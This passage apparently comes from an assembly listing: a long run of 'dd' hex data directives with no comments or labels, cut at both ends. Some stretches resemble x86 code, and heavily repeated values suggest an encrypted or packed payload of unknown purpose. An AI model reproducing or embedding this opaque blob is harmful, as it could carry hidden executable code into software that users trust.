7F65BDA4h, 0F3EE4207h dd 394D507h, 14809A7Ch, 2DDC1FD4h, 0FD08BD4Ah, 245CE09h dd 0A8B35E1Ch, 4615FCCAh, 56CDBF0Fh, 231F80BCh, 3F0h, 0E4C2997Eh dd 7F5DFE16h, 1EFC5FB1h, 0BB99C250h, 553328EDh, 0F025B2BAh dd 57BF8D6Bh, 0BB582604h, 1DF4C2A0h, 0AA8E603Eh, 0D4D14123h dd 4DECC684h, 694BD24Ah, 0EE7EC76Bh, 6B0BED74h, 4D907EC7h dd 1AF7BB9Eh, 6BA1830Ah, 0E3267EC7h, 8111134h, 0EC9BC055h dd 93C84806h, 3CC3A970h, 7EC76B5Ah, 3BB99CDFh, 0C06C41B4h dd 0CF460678h, 0ED25698Ch, 0D5844B6Eh, 41C84026h, 78C0655Fh dd 48BEA1E4h, 9D835BBEh, 0B2C79216h, 2E145772h, 0DCBAA170h dd 3558030Eh, 99722C35h, 55705810h, 6EED2955h, 0EFD5844Bh dd 0AB031968h, 1C53966Ch, 1DB525BCh, 39262283h, 35000003h dd 0CD9B79E2h, 68361447h, 7D5B3A8h, 0A472500Bh, 710CEA71h dd 2239DCFBh, 0BBA07644h, 57040FDDh, 0F566AB79h, 0DA614517h dd 84D4D1F8h, 404A37Dh, 500CA0Dh, 8F9F36E1h, 0A34022A9h dd 82C57EC7h, 0A9B0B0D3h, 59C68B71h, 0CEDAB8A2h, 0D8A0F727h dd 1AC923FCh, 2E921E7h, 0D9BC5D59h, 0E46BE35Bh, 7EC7DF02h dd 0D4614487h, 78C0E535h, 1AFAB832h, 62571E41h, 78C0D680h dd 3513C205h, 1A0AFh, 8C4A4C00h, 1CF1D487h, 0BE64FDE8h dd 976E51D8h, 0B0F378BFh, 36B74DC0h, 0A8B16383h, 56148C72h dd 2EBB9EBDh, 7D7B7623h, 0C2C2E528h, 1AA1875Fh, 77719365h dd 0BB795FA2h, 0CD8E8856h, 9A7A381Eh, 0E068DEC1h, 876AF122h dd 0D60D4EC3h, 12EF36CCh, 61D6D233h, 0D000002h, 0A573510Ah dd 400EEC6Fh, 0DFAD8BD0h, 7C4A2833h, 49E4C299h, 0FA61B423h dd 93C84E1Ch, 2F2CE7B5h, 0CD8E8351h, 0B2391DEFh, 84D4D2D0h dd 4DC7B55h, 0AA684E0Dh, 9D0F368h, 0D8B219D6h, 3518B14Dh dd 55BE7C7Ah, 23D28989h, 8159C040h, 0AD55149Bh, 199178C0h dd 0C085B092h, 0FF23578h, 92714F92h, 35ED7475h, 0FB19D74Fh dd 93763D60h, 0B8B12306h, 7565A872h, 0D7400502h, 845ABF03h dd 9E0C179Eh, 0CE11DDCFh, 39B6ABABh, 0A0C3987Bh, 3E02E4D9h dd 4487DDD0h, 7937AF95h, 89D2419Dh, 0CDF09F66h, 2338DA06h dd 0C9563900h, 0D7C5BB14h, 0DB809250h, 0BEBEF1B8h, 0CD6D4F5Fh dd 9FE25F42h, 0E67C41B9h, 0A932837Ah, 72806257h, 0C205D7C5h dd 0BDE07B96h, 1D9513F6h, 82A5B65Fh, 0FD14D8BBh, 5FB2805Eh dd 5FE7C5FCh, 0B718B29Bh, 173BBh, 3F1CFB00h, 0DA819361h dd 79E22EFCh, 1645CD9Bh, 0B0AB6A38h, 0A23537D2h, 3C0AE873h dd 0D5A381DAh, 713F1D3Eh, 0BDDBBA0h, 0D3BEA027h, 694384D4h dd 4E0D04CAh, 0E846A368h, 2403E56Ch, 45887EC8h, 0A0774512h dd 0D8BBA074h, 0DE041D1Dh, 0F8FE71F8h, 0FCC378C0h, 0A8289E7h dd 0E2C06F79h, 848C4A73h, 0ED74F4D7h, 19D74F35h, 753C5FFCh dd 0CDBF0592h, 0F93C78B9h, 0A0BB5513h, 90813FBDh, 3971D847h dd 63121175h, 15AB785h, 0A37BDEDEh, 898745BDh, 1BFBDDD2h dd 3D8078BAh, 0D955DC5Ah, 9E72AC7Eh, 5AB7755Bh, 0BC552301h dd 4568F322h, 71E9CF7Eh, 0ACB808EAh, 90CB4672h, 7EC1A66Dh dd 79E0E09Bh, 0B801E36Ah, 438672ACh, 0F427AE94h, 396CA4CDh dd 33F7BFF6h, 0A7081DBBh, 97ABh, 1B40D700h, 0B6A56F3Dh dd 55060AD8h, 0F269A977h, 8CCF4614h, 7E5913AEh, 18E6C497h dd 0B17F5DFEh, 4D1BF962h, 0E7B997C4h, 0D49A7C03h, 451F84D4h dd 9D148A6h, 0CE2C9C23h, 0A6E978B9h, 89D23F83h, 2734DDABh dd 958F8341h, 0BA072C0Eh, 0BF6EB178h, 0F61421DCh, 0ACA8F008h dd 0C4977965h, 82BDAA1h, 2EA9DDBDh, 0ABD74192h, 6ECDF06Bh dd 3B82D1A6h, 3FD20C73h, 0A1703E1Ch, 85D66436h, 762555C0h dd 58030F53h, 0C4BB2935h, 8664F71Ah, 0DF0259B8h, 3E3h dd 15208000h, 25481304h, 82B30E1h, 0E90C4FC4h, 0C7EA71A5h dd 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h, 2B4E0D07h dd 0E389532Ah, 4C381h, 0B8500000h, 4, 8758C329h, 685C241Ch dd 254Ch, 51241489h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 0C468240Ch, 89000028h, 0FC68242Ch, 5D3D2810h, 8105E5C1h dd 0F4BABFEDh, 5DEA899Eh, 240C8B54h, 4C481h, 0B680000h dd 89000034h, 418F2414h, 2434FF08h, 4C48359h, 5A2434FFh dd 4C481h, 67E90000h, 87FFFA10h, 5DF8D12Fh, 8FB812AEh dd 3060D6Ah, 43E0FFC5h, 0AA36A21Ch, 22641F88h, 0A73151D5h dd 0F47BE1F8h, 0C17A503Ah, 184BB554h, 0D41538C4h, 0CC434355h dd 0EF3D28F9h, 5222BCF2h, 4814F0F4h, 0C04D0BA7h, 0B40229D1h dd 410E94CDh, 0F477094h, 0E718FB53h, 604919E1h, 0C60780EEh dd 866DBD9Fh, 0F410274Dh, 163475FFh, 2E285683h, 0E86E6995h dd 9, 519006F8h, 46C0AAA9h, 0F0B70FB7h, 6E85Ah, 0F3430000h dd 0BAAE7559h, 17ABA6BEh, 0C2815E50h, 71F4h, 0C4EB8166h dd 0BCFEB910h, 0E9812CF6h, 2CF6A0B9h, 0F58A6050h, 0AE8h dd 0C11C4200h, 7E9BB8F0h, 5A52CDB3h, 3A8B5861h, 815EF951h dd 4F1910C7h, 0E9FC6007h, 13h, 0BC6AA5D8h, 0D0AAD96Ch dd 1D4DD75Ch, 0F913CC38h, 61360E4Bh, 0C1A8C781h, 0D98B5F99h dd 4475EF81h, 8B664167h, 8B6657D8h, 66028FD8h, 0EA83C78Bh dd 0BB665301h, 4A5BDA96h, 0F7BB4A4Ah, 8360F21Fh, 850F01E9h dd 26h, 5BBE6060h, 0F4415A8h, 8Ch, 8E0F6100h, 2, 0E961AEB6h dd 24h, 9D700EBDh, 0B426100Eh, 8E920DFh, 1C000000h, 0DBE8FED0h dd 0E9A02996h, 0FFFFFF6Eh, 37C2E05Ah, 0D1365C61h, 2DE9h dd 0A3C3A00h, 67h, 9 dup(0) dd 0ADE90000h, 68000004h, 60D6D9Ch, 0FA0ED1E9h, 6E0568FFh dd 0C7E9060Dh, 68FFFA0Eh, 60D6F6Eh, 0FA0EBDE9h, 0F764B3FFh dd 92C94B19h, 312AE6B4h, 0CE8D8553h, 68F322F0h, 5A7DEF8Ah dd 0F4C2A0BBh, 8D5B3922h, 29F7D586h, 0C39573E8h, 0D77658DFh dd 21FB84D4h, 888C4A82h, 6E9B0D3h, 0B0BD342h, 0FB1E3DD3h dd 0B3D68534h, 0DBB9A26Fh, 0DA819553h, 0BFE277F7h, 1CE30655h dd 133625F0h, 30B79D4Ch, 78BF97F9h, 0C3D0F336h, 78C03FEDh dd 0F321DF7Bh, 15014568h, 0AD5C2346h, 0DF453ACAh, 29ECF221h dd 99480F32h, 2DCCAF76h, 0E48FDC58h, 2BC33h, 0EBF35A00h dd 0BDA37BDEh, 0BF975336h, 0A595D878h, 5AA7E332h, 1EC45D5Bh dd 0F426B138h, 0B12B7552h, 53BD482Ah, 6345CC75h, 0E87553BDh dd 0CE7DC0A5h, 0F3B6ABABh, 9D7F061Eh, 227553BDh, 460D30DFh dd 22F3B197h, 51D85639h, 6F4BFA8Fh, 0EDAB91D4h, 8B593724h dd 329ED586h, 0D1B1458h, 2ECB0ACh, 77A00000h, 0DC3806E4h dd 3DD3A17Fh, 0A072401Eh, 60FDDBBh, 90DC7755h, 0AF8DCE47h dd 482635E1h, 0E4C2997Ah, 8260FB16h, 6345CCB0h, 0E884D4D8h dd 0D1486F0Eh, 1B9C2309h, 0DF78B9D6h, 876AF121h, 23E1C70Ah dd 38B69F2h, 0A98CCF45h, 452B30E5h, 0ADD08B87h, 3B4803E6h dd 78B9FF66h, 0AFE6759Ch, 11A6DB2Bh, 83B7B314h, 9000002h dd 0A16F4D0Eh, 3C0AE873h, 0DBA987D4h, 78462437h, 45E0BE9Dh dd 0F665B027h, 8FCC4A18h, 2B30E3B1h, 0C9927F4Dh, 0AE3519EBh dd 84D4D8CCh, 48D87751h, 0AB2309D1h, 3660D7E6h, 0F5D85195h dd 0BAA6E768h, 4669AC78h, 51868A48h, 13CB7B16h, 86A95864h dd 794FDCBFh, 778BA6Fh, 0A8DD6259h, 0E3E495B1h, 18Dh, 0D10D040Ah dd 30F71A41h, 0F71A5E81h, 65FC8664h, 0A15FD7BDh, 4A2CB371h dd 0CF7EC76Bh, 6DFADD8Ch, 78C07B9Ah, 0A6B5601Eh, 0F17F46C3h dd 92F892B1h, 5E6B8E3Dh, 78BF7D88h, 0EC136816h, 0E490A399h dd 3D1EF7B5h, 46195Ah, 4A400000h, 6B694BD2h, 0ABEE7EC7h dd 8CD148C8h, 4127D685h, 0BF9AE3BAh, 71A15F78h, 478A07EAh dd 0AC682624h, 0E2C58CAFh, 0C03B7F55h, 185F0D78h, 8FE1A2E3h dd 0BEE9E4h, 39F70000h, 169D83D8h, 78C02F34h, 2E9376B9h dd 684E0D04h, 0C74CEEA3h, 9D244236h, 7EC849BBh, 6B4EFD40h dd 35A96CB0h, 0AED180DBh, 91B4A76Ah, 1E3DD593h, 2B0134FBh dd 3F1BC8A6h, 6EA3674Ah, 7C780FEDh, 0FA7EC7DBh, 0E0480D17h dd 70CB4117h, 9AD5B7ACh, 175A7EC7h, 19008A68h, 0A254DBC1h dd 0E778BD41h, 1500BEA4h, 61104BC9h, 0C460B583h, 0BDF15B3Dh dd 0EE9DE078h, 0A2E8EDB7h, 0B5B11211h, 11Ah, 0D8B6A572h dd 73510A0Ah, 12F06BA5h, 0AF8DCE44h, 492734E1h, 0FC19BEAEh dd 63B3815Fh, 0C74C1AF8h, 29E8B694h, 9E825432h, 0D4DA3517h dd 41E0BA84h, 49CD1104h, 0B7856312h, 0B423015Ah, 45D10D04h dd 7D2CF316h, 60FB165Ah, 0D63CFA82h, 3F22A285h, 0C07A01E7h dd 578BFB5h, 9917DCC2h, 0B63E5A63h, 0B22AA88Bh, 563922F4h dd 0FAD88392h, 0C05A8D63h, 0D4EC378h, 0A82FA72Fh, 78C059C6h dd 6125084Bh, 8884A7B4h, 92h, 9D14825h, 28AF6523h, 0C50CA8D5h dd 4D7928D2h, 0A86F92C9h, 4BC047C5h, 878BA44h, 0B35EA2C5h dd 4672E92Bh, 0A56C8FCCh, 0C74A18F6h, 0CD647194h, 68D7B2B6h dd 12FFDBA0h, 6EA56349h, 204D2FB6h, 8FD217B3h, 13F6BDE0h dd 1942CF9Dh, 5234BB33h, 0D717B320h, 0B2F6B194h, 5715FB60h dd 337EA1BAh, 3BB14330h, 0AA8D3C20h, 0E75E3EFh, 659A3DD4h dd 87613C8Eh, 8A6446CDh, 0A6E917B2h, 9C6A48F7h, 0C7C3E675h dd 0Ah, 3EFC2064h, 9B6285D6h, 130453B8h, 30E12548h, 4FC4082Bh dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah dd 0D074B6Eh, 522A2B4Eh, 0C281E289h, 4, 8704EA83h, 895C2414h dd 89502434h, 405E0h, 42D0000h, 87000000h, 895C2404h, 96682414h dd 89000037h, 0EC832434h, 242C8904h, 0B41A9EBDh, 81D5F72Ch dd 0A436E1EDh, 0D1ED8124h, 89A89A41h, 8B545DEAh, 0C4832434h dd 0D7895704h, 24048157h, 416D5598h, 8108468Fh, 5598086Eh dd 8B5F416Dh, 89572434h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 2434FF5Ch, 4C4835Ah, 0FA0A35E9h, 628587FFh, 6C35964Fh dd 0D70ADB8h, 0FFC50306h, 339413E0h, 0C23DAF3Ch, 435CBA58h dd 29B89F26h, 5D07B144h, 3817BB3Ch, 8E57DD14h, 0BF80303Eh dd 3D62AB21h, 0F72283Bh, 0B1853458h, 748BDE35h, 63EBF814h dd 62D35377h, 0CE365DB1h, 7C4B4C09h, 325636FBh, 3D56A9F1h dd 3256DD32h, 30D8E5B1h, 525675B1h, 726346D0h, 32565DB3h dd 2242017Ch, 53593C7Dh, 7218FFB5h, 6DE01019h, 32117955h dd 3ADE7AB1h, 3D56BAB1h, 32565F3Eh, 3237CEB1h, 3242BEB1h dd 1FDBABB1h, 0FD3BA08Fh, 0DD1A74C8h, 0C2694363h, 93DFE8A7h dd 23BF78D6h, 1756AEB1h, 0BB841FB5h, 92E43E90h, 7E10A273h dd 8F16206h, 3D3675B1h, 3256BC36h, 32D552B1h, 5356AEB1h dd 0DB565749h, 3256ABBFh, 7FB61E3Dh, 0C763E3B1h, 0CF233BB2h dd 0B9366DB6h, 30D25240h, 6056AEB1h, 325636E8h, 3256A058h dd 0B3C17AB1h, 7C170F00h, 0D3CDE4DAh, 3202454Ah, 0DB365DB1h dd 3256AEA3h, 798D7CFEh, 79912FE1h, 0F2EB6BDh, 7137DE50h dd 3D007EC2h, 530D4D0Eh, 32565158h, 58B187B1h, 0B2610C57h dd 2B087E93h, 648A2160h, 3256EAB1h, 1BD6F1CAh, 3256C8CBh dd 3245B4D1h, 5BFFAEB1h, 0EF860648h, 86945CB6h, 0F7B4976Ah dd 0C1E54E89h, 8EBCF4F8h, 535254E7h, 3DA35DB1h, 3256A93Ah dd 533637B1h, 533F6331h, 8636D5B1h, 95856BAAh, 5346B6D3h dd 0BF59BAB1h, 32565DACh, 324122BEh, 20BF57B1h, 0EF56ABB1h dd 7EC091F3h, 0EDF7D56h, 0AF2DBD7Bh, 8C2E34A6h, 3D565D58h dd 3256B43Eh, 3DBF37B1h, 4156ABB1h, 0D5773E91h, 9BF29463h dd 5B8B6B6h, 8A30412Ch, 323795C8h, 32565BB1h, 36D058D1h dd 5456ABB1h, 53689408h, 0DB36EAB1h, 325675A3h, 96B65672h dd 0C1DF19AAh, 39E38B0Eh, 7C9DD58Ch, 0CADC5EBCh, 32453CD0h dd 0FBEBEAB1h, 0A981FFA3h, 7E22CF4Eh, 0CEE7DBCCh, 4F0CF055h dd 0CA565785h, 32AEABB1h, 3DAAB5B1h, 32373806h, 5FE015B1h dd 0CA56BAD0h, 3EBF5DB1h, 1656AEB1h, 8B6B5730h, 0F1B4E305h dd 3279366Ah, 54AA8AB1h, 53E0A10Bh, 34BFBAB1h, 0F2565DB1h dd 0A7F99AC6h, 3D565721h, 3256AC3Dh, 0B330B5B1h, 53DEFD52h dd 3FBF75B1h, 2656BAB1h, 499CBC8Ah, 495B02A6h, 2C185DD1h dd 21BFABB1h, 4556D5B1h, 1ED772A3h, 43C4C4B5h, 61D015FEh dd 44890741h, 3256FD3Bh, 0DB56574Dh, 3256ABA1h, 0BC5ED44Fh dd 8BCC407Ah, 94DB3BFAh, 85EA79ACh, 32565DB3h, 0C556AEB1h dd 0A6580E8Bh, 52914802h, 0FF18457h, 0DB78A9B7h, 32D607E3h dd 21D0B5B1h, 52565DB1h, 8B5B4630h, 34BF0C8Bh, 8756ABB1h dd 0B870BCEh, 35818BD6h, 325475B9h, 3246BAB6h, 32675DB4h dd 3EBFAC7Ch, 0DE5657B1h, 0FCA8EC5h, 1D17818Ch, 534C8ADAh dd 0BD5975B1h, 3256BAA2h, 39BFA8D1h, 0CB56AEB1h, 0AA6C0331h dd 0F01450A8h, 3D37E060h, 3256EC38h, 6B0415B1h, 3237DBD1h dd 3259B4B1h, 78DBAEB1h, 0D319C50h, 60B3D34Ah, 50586A87h dd 3D56EA7Bh, 3256743Ah, 325642B1h, 0DB565D48h, 3256AEA3h dd 9B28068Eh dd 962D6A98h, 33D7BE5h, 0A3363CFh, 325621F5h, 324735BEh dd 3EBF5DB1h, 1B56AEB1h, 30EF14B6h, 235E0110h, 320A0159h dd 3DA38AB1h, 32567530h, 3256DBB1h, 32515FF5h, 3D36AEB1h dd 0F4DD8C06h, 5256ABD0h, 30956CD7h, 3256EF59h, 0EAE408B1h dd 0B7594308h, 32565DB1h, 3256CFE9h, 325655F5h, 4C7E0EB1h dd 2335E693h, 76491440h, 0B35975B1h, 3256BAB6h, 3257D8BEh dd 0C7AFAEB1h, 3247979Ah, 3823ABB1h, 0E4A74DCAh, 507BAEE6h dd 9C7FC542h, 62B366FEh, 0AE040DD1h, 3256BC58h, 0D2B545B1h dd 3E69F528h, 0CA0DBFE4h, 9661DC60h, 0B385B7BCh, 0FA79B440h dd 3242B4C6h, 0F76AAEB1h, 737E1CABh, 4F828C57h, 4B1616C3h dd 73AF50Fh, 3DCB4E7Bh, 39BF2680h, 25565DB1h, 817443B5h dd 3D38BEC1h, 0ECD70E2Dh, 7100039h, 3256EC58h, 65133B1h dd 0AFF568ECh, 0A43705EBh, 20CBDAF6h, 6837CA52h, 5336FBE9h dd 3256D527h, 0AF22AD37h, 0AECB96A3h, 3256A958h, 675A62B1h dd 0E3AEF5DBh, 3FF26087h, 3B467873h, 0F76AFABFh, 0E87E0C30h dd 34BF6CD6h, 0D456BAB1h, 402B8996h, 0B9373372h, 0E2C6364Fh dd 0B9309ABEh, 540E8F49h, 5306CD09h, 36723138h, 3256B258h dd 8C2F1DB1h, 0F863C2AEh, 0AD680F8Ah, 22BF1E5Dh, 0EA56D5B1h dd 0B6C1FC80h, 0C265D7DCh, 2ED954D8h, 0AFFDA794h, 0BB0EF4D0h dd 525273F5h, 0C0DDCDD1h, 53945ED7h, 34BFB8E1h, 445675B1h dd 301B5EC6h, 0AE6752A2h, 3256BD58h, 372A38B1h, 0B33E20EBh dd 8F42B297h, 8BD6E903h, 47FA2A4Fh, 0AECE4B30h, 34BF75B6h dd 0E456AEB1h, 507B13E6h, 6A0C3642h, 32568DD0h, 14A76AD1h dd 0D790CCD7h, 5256BAD0h, 54368E3Ah, 0BA59703Ah, 325657B1h dd 3256CAD0h, 3ABFB5D1h, 6856EAB1h, 94A65A31h, 3D7A5E6Bh dd 3D378B0Eh, 3237540Eh, 8D0137B1h, 4294386Ch, 409E55E8h dd 3D56EAD0h, 32566037h, 35BEDAB1h, 52565DB1h, 776AFC0Ah dd 0B30F9A91h, 0E2015646h, 3BBFB4C2h, 7256EAB1h, 0DB471E7Fh dd 7FA22932h, 87365DB1h, 0CCE8C8E3h, 0BA59364Ah, 3256ABB0h dd 0CB56D54Dh, 0B059EAB1h, 325675B6h, 0E2DDDCD1h, 32373CD1h dd 325656B1h, 32565B58h, 9CAD6EB1h, 56384991h, 0F1956037h dd 0DB56757Bh, 3256BAA1h, 0E29DC1DAh, 26E3EAC6h, 52052117h dd 471E3603h, 0DBAFD5B1h, 3256EAA5h, 26A086BBh, 0F59B7C98h dd 50F51A0Bh, 1290BC3Ch, 9DFABF5h, 3D36ABB1h, 3256D034h dd 0ECD78CB1h, 8559ECB9h, 3256DB7Fh, 32565458h, 6A2EF6B1h dd 1C87BA9Dh, 32567CDEh, 325E3C48h, 0A5EDEAB1h, 4EE6438Ch dd 32562B3Bh, 52565D44h, 0F3D25508h, 6D06379Fh, 4B2F340Eh dd 3237B488h, 325003B1h, 58F275B1h, 0F750AD34h, 35BF5DB1h dd 0E756AEB1h, 0BFC2E72Fh, 32560935h, 3256C758h, 892187B1h dd 0BBC819DAh, 950251F4h, 74584637h, 52AA01D4h, 32564758h dd 4F8F92B1h, 0EB2FF5C0h, 81ADB28Ch, 0D56789h, 325C53D1h dd 0B0485DB1h, 4C13349Fh, 3AA51384h, 0DB56ABD0h, 3256D5A1h dd 31630DBBh, 0A92DEBBFh, 21E57E62h, 30E81EA7h, 325124BEh dd 0B75957B1h, 3256ABB0h, 3D56D548h, 3256EB30h, 325680B1h dd 3256B758h, 9C470BB1h, 0C99B9C6Fh, 8DE3A667h, 3256C146h dd 3256D958h, 38A9C0B1h, 0E53A67F2h, 32DE30ACh, 3D565D8Bh dd 3256B73Ch, 3242BEB1h, 753FABB1h, 8EFF3ED9h, 5E836264h dd 0B00C60D1h, 842C4FA3h, 32565F97h, 3256BF58h, 0DBE50DB1h dd 0B571C99Ch, 6FAE049Eh, 7CBFF81Fh, 325643F2h, 3256B458h dd 26EAEFB1h, 0E93533DEh, 4D327AF2h, 32580146h, 32562CB1h dd 325869BEh, 3D3675B1h, 3256BA3Eh, 18A0DCB1h, 537BBBD3h dd 0B35957B1h, 3256ABB0h, 5256D548h, 3256ED59h, 599EAFB1h dd 1C2348Ah, 3256D0BEh, 650FAEB1h, 506FE9D7h, 3256CAEFh dd 324354BEh, 8236EAB1h, 325D9D51h, 8B03BAB1h, 1A4DC56Dh dd 0F41703B5h, 32370924h, 325653B1h, 0DB56D544h, 3256EABFh dd 75F480FBh, 4F6963AAh, 2E43B776h, 3256C8B3h, 32565B58h dd 4F6EBFB1h, 70B60FEBh, 99AA7458h, 3D567535h, 3256BB31h dd 3256A5B1h, 324328BEh, 22BF57B1h, 0E456ABB1h, 34317900h dd 6A075B24h, 676163EEh, 0DB4D4171h, 32565DB4h, 0F3B93F66h dd 3D565770h, 3256B937h, 325B3CB1h, 0F8F1EAB1h, 66D1E370h dd 0AFD24C52h, 32C0EA8Bh, 325F47B1h, 0E4B357B1h, 1B7B8D1Ah dd 323E411Ch, 32561FB1h, 32567258h, 0B51307B1h, 94ABA7ACh dd 0BA59AEB1h, 325657B7h, 0B88020D1h, 3256B452h, 0CB56EA4Dh dd 32AA75B1h, 325953B1h, 0AAB85DB1h, 0F9B9ADCh, 0E206E095h dd 0B5CC4B33h, 0DB56D599h, 3256EAB8h, 6003CC4Dh, 5DA110B7h dd 0CE565D97h, 3D36AEB1h, 3256553Ah, 0C7B718B1h, 0DB56D5D0h dd 3256EAA5h, 0E27D635Ah, 0CE8711A6h, 0EDCB6E35h, 848DE662h dd 413D9754h, 32AEABB1h, 325B3CB1h, 0C92CEAB1h, 9B7876A4h dd 0DD437588h, 32D78734h, 25D5A1B1h, 0DB5657B1h, 3256ABA3h dd 0EBD35972h, 0A529AEC0h, 51ED5A20h, 0AD6A96A8h, 0DB36DB72h dd 3256AEA0h, 0C1C54770h, 6C16DF18h, 0C3B2E0AFh, 92BCD2EAh dd 32469DBBh, 5B1BBAB1h, 0EAFF6294h, 5AA163C7h, 26C74D0Ah dd 0DDD71B13h, 29719CF1h, 32568BEAh, 0B25923D1h, 3256BAB1h dd 32563CEEh, 5256AE49h, 32564559h, 35F0FCB1h, 6C774547h dd 0C119EFBCh, 71DA9494h, 0B2122CDDh, 540D8858h, 32376C3Ah dd 25D858B1h, 0DB56ABB1h, 3256D5A3h, 0A03A55D5h, 0A68011CFh dd 3EC1EEAAh, 1029743Eh, 0B059929Bh, 325657BCh, 0F21C14D1h dd 0BA59DAADh, 3256EAB1h, 525675D0h, 0CCDC00D7h, 53A4D6D7h dd 0BA59AEB1h, 325657B0h, 0C756AB44h, 5436D5B1h, 0B1840230h dd 32566158h, 73CC98B1h, 1C6ED204h, 9A074FE1h, 0FC13FD0Dh dd 9C08BBA7h, 3256B43Ch, 3256EC58h, 0E437FB1h, 52CF97E7h dd 0DB97B631h, 3256AEB4h, 0CC06129Dh, 3256CAD9h, 325D59BEh dd 34BFEAB1h, 0E85675B1h, 0F72A5BC4h, 52565DE3h, 47EA7630h dd 0E3E557F0h, 3ABFCBD0h, 0E856D5B1h, 0B17BDA5Eh, 3D2C6D86h dd 32376806h, 3250B4B1h, 56BBAEB1h, 4595098Eh, 49F013D1h dd 0B930F925h, 32568B77h, 32539CD1h, 83E8BAB1h, 3DF30B35h dd 3256AB35h, 0DC94E8B1h, 3237E47Dh, 3AD1DAB1h, 3D56EAB1h dd 32567736h, 3237DAB1h, 33DE52B1h, 0CA56AEB1h, 52565748h dd 325829BEh, 3BBFD5B1h, 4C56EAB1h, 0BD965C47h, 4D99F92Ch dd 0C8285B0Bh, 3256CFD9h, 3D565744h, 3256AC3Dh, 33DFDAB1h dd 0CE56EAB1h, 3DBF75B1h, 1556BAB1h, 942F5A5Eh, 52937470h dd 897E0F45h, 3256CC6Bh, 0DB56D549h, 3256EAB8h, 17A19564h dd 5ECE4D4Ch, 2FED3D24h, 0B959C6FCh, 3256366Eh, 3256A558h dd 3672B9B1h, 46E03258h, 9D052686h, 3DF302CBh, 32565132h dd 34D7A1B1h, 3D5657B1h, 3256AB3Eh, 5256D5B1h, 3256E759h dd 0C46E72B1h, 0C5284D82h, 6EBF652h, 6BAAC42Ch, 32565C58h dd 7EE15BB1h, 3CF19967h, 59FB1CABh, 0DB5675D0h, 3256BABFh dd 711A6FE6h, 0D45BD71Dh, 50283F55h, 3256C2EBh, 3256D058h dd 9C1830B1h, 3256F28Ch, 325E3CBEh, 0C7365DB1h, 808F2FD7h dd 32563600h, 324925BEh, 5436D5B1h, 724D3830h, 32566658h dd 0F406C7B1h, 0BA2F1C47h, 73BA1C98h, 0B6C475A6h, 7498DEC8h dd 5256D5D0h, 0DB56EAD0h, 325675B6h, 5BA4E6CCh, 0CE4063EDh dd 0B159AEB1h, 325657A0h dd 3256A758h, 47559FB1h, 0C764FC21h, 81E28F2Bh, 32564FB2h dd 3251B4D1h, 2C82AEB1h, 17EA4E62h, 0F2D7CDE5h, 32373EB5h dd 0B3308AB1h, 8D1DD740h, 1F314661h, 3D565DD0h, 3256A33Dh dd 0FDD737B1h, 3AADE579h, 0F3923608h, 0B6598BBFh, 325675B0h dd 5256BA44h, 32565259h, 722D2B1h, 0E94D2EC3h, 2AD6A6AAh dd 0CFFE7DFCh, 0F2D78CE8h, 3237B884h, 33D2B5B1h, 0CB565DB1h dd 0DB36AEB1h, 325657A3h, 0AF5F132Fh, 5BA6CD5Ch, 55E75913h dd 9FA9F684h, 0C2D6382Bh, 32563CD1h, 3256A358h, 2CD2DB1h dd 16219B88h, 452446D0h, 325618C7h, 52567549h, 0F90004D7h dd 32564959h, 7C75E7B1h, 7DE356E4h, 67CC112h, 1FFA62E1h dd 0B3D7EDB6h, 69AFFECAh, 5256BAD0h, 6097E2BEh, 3256AB59h dd 1EA57FB1h, 690EF5CFh, 0DB56D5D0h, 3256EAA3h, 0CCDE8DC7h dd 0D596ABE1h, 80D1093Ah, 627CC07Bh, 0BD593A5Ch, 3256ABB9h dd 325451BEh, 5336EAB1h, 32A375B1h, 34BFDAB1h, 0C5565DB1h dd 704CDC4Dh, 0C1D7315Ah, 3D375ED6h, 3256D930h, 34D8E5B1h dd 3D5675B1h, 3256BA3Fh, 0DB565DB1h, 3256AEA2h, 8BBA089h dd 547B8E56h, 72ADF2E7h, 0C06664EEh, 32A79B64h, 2DDFB5B1h dd 3D565DB1h, 3256B736h, 3242BEB1h, 0FDDEABB1h, 0D4E94BDBh dd 617867F7h, 0F8310569h, 2F61D430h, 3256F09Bh, 324326BEh dd 0BA5957B1h, 3256ABBEh, 3256DF58h, 0A6B3E8B1h, 64EB98D1h dd 32EBF81Dh, 39DA52B1h, 5256AEB1h, 3256DBBEh, 8D59ABB1h dd 3256B44Eh, 32516ABEh, 0B35975B1h, 3256BAB0h, 52565D4Dh dd 7B902FD7h, 3253BEA1h, 0A238ABB1h, 53E1A238h, 0FBD78CD1h dd 53AA2D5Eh, 32AFBAB1h, 3256A4B1h, 324647D1h, 698D57B1h dd 303D4A5Bh, 0E8A760DAh, 0CE8F6C64h, 520790FDh, 3237E1D0h dd 21D452B1h, 5256AEB1h, 32565158h, 7817FB1h, 0B3C280C2h dd 0F0295547h, 32561492h, 32573CBEh, 32AF5DB1h, 325652B1h dd 32565F58h, 7F92FEB1h, 0F064102Dh, 0CE56EAD0h, 32AE75B1h dd 5436DAB1h, 2D2F8730h, 325620BEh, 0B33757B1h, 0EC69DB59h dd 3256B4B1h, 85AA60D1h, 32561488h, 325E3BBEh, 0BF595DB1h dd 3256AEB3h, 325636D1h, 3256A158h, 0B3D5A2B1h, 48F2BB54h dd 325E8E1Eh, 32564FB1h, 32564958h, 0E7A3A1B1h, 0CCA969E6h dd 0B15A40ACh, 6A8464F5h, 0E6C1A697h, 0CE56753Ch, 0DB56BA44h dd 32565DA5h, 0AEF4267Dh, 492A58E1h, 9E510760h, 0B9549E6Ch dd 0C52382D0h, 0DB567548h, 3256BAA3h, 27DAEEBEh, 8A91459Fh dd 0F4A09259h, 19ED9CFDh, 3256DFF6h, 3256E658h, 4A6B4CB1h dd 0ADBCCBF6h, 3B7BDB50h, 5256AE49h, 3253DDBEh, 0B330ABB1h dd 81A99E41h, 32568B08h, 32566558h, 26C699B1h, 45ACF262h dd 0C4C3A3DFh, 82DB5FA7h, 3256579Ch, 308A55D1h, 32476ABEh dd 3EBF75B1h, 0FC56BAB1h, 0C4863901h, 9CA830AAh, 53FBADDCh dd 0BF59ABB1h, 3256D5B0h, 5256EA44h, 0C2E17AE7h, 87833AE8h dd 52565DD0h, 3256BD58h, 6CAE2BB1h, 479BF737h, 7F7FD80Bh dd 386D4D9Eh, 3BCB38E6h, 53805E31h, 54365DB1h, 9A434430h dd 32565B58h, 2B1B4B1h, 